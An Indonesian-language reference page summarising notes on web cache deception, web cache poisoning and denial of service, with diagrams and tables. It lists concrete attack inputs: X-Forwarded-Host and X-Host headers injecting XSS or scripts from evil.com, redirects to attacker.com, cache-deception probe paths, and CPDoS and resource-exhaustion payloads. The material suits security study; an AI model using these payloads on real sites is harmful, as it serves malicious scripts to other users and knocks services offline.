8
Web Cache dan Denial of Service
Tiga berkas catatan di halaman ini bekerja pada satu asumsi yang sama: ada lapisan cache di antara klien dan origin. Catatan Web Cache Deception menyebut caching proxy yang menyimpan informasi privat, catatan Web Cache Poisoning menyebut respons berbahaya yang tersimpan dan disajikan ke pengguna lain, sedangkan catatan Denial Of Service menyebut gangguan fungsi normal layanan. Ketiganya bertumpu pada selisih pemahaman antara cache dan origin. Web Cache Deception.md:41, Web Cache Poisoning.md:42, Denial Of Service.md:43
Cache key dan unkeyed input
Cache memilih respons berdasarkan cache key. Header yang tidak ikut dihitung ke dalam cache key tetap dibaca oleh origin saat menyusun respons; bagian inilah yang disebut unkeyed input. Repositori tidak menuliskan rumus cache key secara eksplisit, tetapi batasnya bisa dibaca dari nilai header status cache dan dari header Vary.
graph LR
REQ["GET /profile/setting/.js"] --> KEY["cache key: path dan query"]
HDR["X-Forwarded-Host / X-Host / X-Forwarded-Scheme"] -.unkeyed input.-> KEY
KEY --> LOOKUP{"entri ada?"}
LOOKUP -->|"MISS"| ORIGIN["origin server"]
LOOKUP -->|"HIT"| CLIENT["respons tersimpan"]
ORIGIN --> STORE["simpan ke cache"]
STORE --> CLIENT
style KEY fill:#f59e0b,color:#000
style LOOKUP fill:#f59e0b,color:#000
style HDR fill:#f59e0b,color:#000
style ORIGIN fill:#336791,color:#fff
style STORE fill:#8b5cf6,color:#fff
style CLIENT fill:#8b5cf6,color:#fff
%% fig: Cache key dan unkeyed input
%% desc: Cache hanya mencocokkan path dan query, sementara header forward dipakai origin dan tetap memengaruhi isi respons yang disimpan.| Input | Posisi terhadap cache key | Efek yang tercatat di catatan | Rujukan |
|---|---|---|---|
X-Forwarded-Host | unkeyed | masuk ke <img href="https://evil.com/a.png"> dan ke Set-Cookie: locale=en; domain=xyz | Web Cache Poisoning.md:10-224, Web Cache Poisoning.md:70-1045 |
X-Host | unkeyed | menghasilkan <script src="https://evil.com/x.js"> | Web Cache Poisoning.md:37-526 |
X-Forwarded-Scheme | unkeyed | memicu 301 Moved Permanently menuju https://attacker.com/en saat digabung dengan X-Forwarded-Host | Web Cache Poisoning.md:70-1045 |
X-Forwarded-Server | unkeyed | origin membalas 404 Not Found dengan CF-Cache-Status: MISS | Web Cache Poisoning.md:106-1317 |
User-Agent | keyed lewat Vary | payload hanya tersaji ke kelompok user agent yang sama | Web Cache Poisoning.md:54-688 |
Baris User-Agent menjadi pembanding: respons selective poisoning menyertakan Vary: User-Agent, Accept-Encoding, sehingga cache memisahkan salinan per kelompok user agent. Web Cache Poisoning.md:54-688
Web Cache Deception
Catatan ini memakai satu fitur privat sebagai contoh, yaitu pengaturan profil. Tiga probe dipakai berurutan, dan setiap probe dinilai dari header status cache plus header Content-Type. Web Cache Deception.md:10-219
| Request | Nilai yang dicari | Pengamatan pendukung |
|---|---|---|
GET /profile/setting | Cf-Cache-Status: HIT | respons tetap Content-Type: text/html |
GET /profile/setting/.js | HIT, bukan MISS atau Error | Content-Type tetap text/html walau path berakhiran .js |
GET /profile/setting/;.js | HIT | ekstensi dipisah ; supaya tidak diparse sebagai berkas oleh origin |
Langkah terakhir setiap probe adalah membuka URL hasilnya di incognito mode. Web Cache Deception.md:23-3510, Web Cache Deception.md:37-4911
sequenceDiagram
participant Penyerang
participant Cache
participant Origin
Penyerang->>Cache: GET /profile/setting
Cache->>Origin: GET /profile/setting
Origin-->>Cache: 200 Content-Type text/html
Cache-->>Penyerang: Cf-Cache-Status HIT
Penyerang->>Cache: GET /profile/setting/.js
Cache->>Origin: GET /profile/setting/.js
Origin-->>Cache: 200 Content-Type text/html
Cache-->>Penyerang: Cf-Cache-Status HIT
Penyerang->>Cache: GET /profile/setting/;.js
Cache-->>Penyerang: isi halaman privat dari cache
Note over Cache: origin tidak punya berkas .js di path itu
%% fig: Tiga probe cache deception pada satu fitur privat
%% desc: Ekstensi palsu membuat cache menganggap respons privat layak disimpan, padahal origin tetap mengembalikan HTML.⚠️ Tanda utama pada catatan ini adalah
Content-Type: text/htmlyang bertahan pada path berakhiran.js. BilaCf-Cache-StatusbernilaiMISSatauError, trik ekstensi belum berhasil dan respons tidak tersimpan. Web Cache Deception.md:23-3510
Web Cache Poisoning
Enam teknik dicatat, dan semuanya mengandalkan header yang dikirim klien tetapi tidak ikut dihitung cache. Web Cache Poisoning.md:42
| Teknik | Header penentu | Bukti pada respons |
|---|---|---|
| Basic poisoning | X-Forwarded-Host: evil.com | Cache-Control: public, no-cache dan <img href="https://evil.com/a.png" /> |
| Basic poisoning dengan payload XSS | X-Forwarded-Host: a.\"><script>alert(1)</script> | atribut href terpotong dan script tereksekusi |
| Seizing the Cache | X-Host: evil.com | Via: 1.1 varnish-v4, Age: 174, Cache-Control: public, max-age=1800, <script src="https://evil.com/x.js"> |
| Selective poisoning | X-Forwarded-Host: a"><iframe onload=alert(1)> | X-Served-By: cache-lhr6335-LHR dan Vary: User-Agent, Accept-Encoding |
| Route poisoning | X-Forwarded-Server: evil lalu X-Forwarded-Host | 404 Not Found dengan CF-Cache-Status: MISS, judul HubSpot - Page not found |
| Hidden route poisoning | X-Forwarded-Host: evil | 302 Found menuju https://ghost.org/fail/ |
Sumber baris tabel di atas adalah Web Cache Poisoning.md:10-224, Web Cache Poisoning.md:23-3512, Web Cache Poisoning.md:37-526, Web Cache Poisoning.md:54-688, Web Cache Poisoning.md:106-1317, dan Web Cache Poisoning.md:133-15413.
Chaining unkeyed inputs berjalan dalam tiga langkah yang saling bergantung. Langkah pertama menyisipkan X-Forwarded-Host: xyz dan origin membalas Set-Cookie: locale=en; domain=xyz. Langkah kedua memakai X-Forwarded-Scheme: nothttps dan origin membalas 301 Moved Permanently ke https://redacted.net. Langkah ketiga mengirim kedua header sekaligus, sehingga Location berbelok ke https://attacker.com/en. Web Cache Poisoning.md:70-1045
⚠️ Nilai
Age: 174denganCache-Control: public, max-age=1800pada teknik Seizing the Cache berarti salinan tercemar tetap disajikan sampai sisa masa berlaku habis. Selama rentang itu, pengguna lain menerima respons dari cache, bukan dari origin. Web Cache Poisoning.md:37-526
Denial Of Service
Catatan ini menyatakan bahwa vektornya bisa muncul di semua fitur aplikasi, dan menyebut file upload berukuran sangat besar sebagai salah satu contoh. Denial Of Service.md:714
| Vektor | Yang dikirim | Petunjuk pada catatan |
|---|---|---|
| Cookie bomb | nilai panjang pada param1 yang terpantul ke cookie | periksa cookie setelah parameter diisi |
| Payload panjang pada form | username=victim&password=aaaaaaaaaaaaaaa | berlaku untuk password atau email panjang |
| Pixel flood | gambar dengan jumlah piksel sangat besar | bergantung pada berkas payload eksternal |
| Frame flood | GIF dengan jumlah frame sangat besar | bergantung pada berkas payload eksternal |
| Parameter resize gambar | width=99999999999&height=99999999999 | nilai normal pada catatan adalah 500 |
Duplikasi Accept-Encoding | gzip, gzip, deflate, br, br | nilai header diulang |
| No rate limit | rentetan request tanpa batas | server turun karena jumlah request |
| ReDoS | pola regex yang dieksekusi server | berasal dari implementasi RegEx yang buruk |
Rujukan baris tabel di atas adalah Denial Of Service.md:10-1515, Denial Of Service.md:17-2416, Denial Of Service.md:26-2817, Denial Of Service.md:30-3218, Denial Of Service.md:34-4119, Denial Of Service.md:43-4620, Denial Of Service.md:4821, dan Denial Of Service.md:5022.
Vektor terakhir adalah CPDoS, yaitu Cache Poisoned Denial of Service, dengan tiga varian. Varian HTTP Header Oversize mengirim header yang lebih besar dari batas origin tetapi masih di bawah batas cache, sehingga origin membalas 400 Bad Request dengan pesan Header size exceeded. Varian HTTP Meta Character menyisipkan karakter kontrol seperti \r\n lewat X-Meta-Malicious-Header dan origin membalas 400 Bad Request dengan pesan Character not allowed. Varian HTTP Method Override memakai X-HTTP-Method-Override, X-HTTP-Method, atau X-Method-Override untuk mengubah metode request, dan origin membalas 404 Not Found dengan pesan POST on /index.php not found. Denial Of Service.md:52-6923, Denial Of Service.md:70-8624, Denial Of Service.md:87-10825
Catatan juga menyertakan X-Forwarded-Port: 123 dan X-Forwarded-Host: www.hackerone.com:123 pada request GET /index.php?dontpoisoneveryone=1. Denial Of Service.md:110-12426
⚠️ Pada CPDoS, error 400 atau 404 dibalas origin, bukan oleh cache. Bila cache menyimpan respons error itu, seluruh pengguna berikutnya menerima error yang sama tanpa pernah menyentuh origin. Denial Of Service.md:52-6923
Perpindahan status cache
Nilai Cf-Cache-Status dan CF-Cache-Status dipakai sebagai penanda keadaan, sedangkan Age terhadap max-age menentukan kapan salinan tercemar berhenti disajikan. Web Cache Deception.md:10-219, Web Cache Poisoning.md:37-526
stateDiagram-v2
[*] --> MISS
MISS --> HIT: origin membalas 200
HIT --> POISONED: unkeyed input ikut terkirim
POISONED --> HIT: request berikutnya memakai cache key sama
HIT --> STALE: Age melewati max-age
STALE --> MISS: entri dibuang
MISS --> ERROR: origin membalas 400 atau 404
ERROR --> POISONED: cache menyimpan respons error
POISONED --> MISS: entri dibersihkan
style MISS fill:#8b5cf6,color:#fff
style HIT fill:#2d7d46,color:#fff
style POISONED fill:#dc2626,color:#fff
style STALE fill:#f59e0b,color:#000
style ERROR fill:#dc2626,color:#fff
%% fig: Perpindahan status cache dari MISS ke versi tercemar
%% desc: Entri cache berubah dari MISS menjadi HIT, lalu menjadi versi tercemar selama unkeyed input masih terbawa, dan menjadi STALE saat max-age terlampaui.| Status | Pemicu | Nilai atau header yang terlihat |
|---|---|---|
MISS | cache belum punya entri untuk cache key itu | CF-Cache-Status: MISS pada route poisoning |
HIT | origin membalas 200 dan cache menyimpan | Cf-Cache-Status: HIT pada fitur profil |
POISONED | unkeyed input ikut menentukan isi respons | X-Forwarded-Host dan X-Host pada body tersimpan |
STALE | Age melampaui max-age | Age: 174 terhadap max-age=1800 |
ERROR | origin membalas error yang ikut disimpan | Header size exceeded dan Character not allowed |
Lapisan penyusun header di balik semua teknik ini dibahas di Injeksi Query dan Header, sedangkan payload script yang ditempel lewat X-Forwarded-Host dibahas di Kerentanan Sisi Klien dan Pengalihan URL.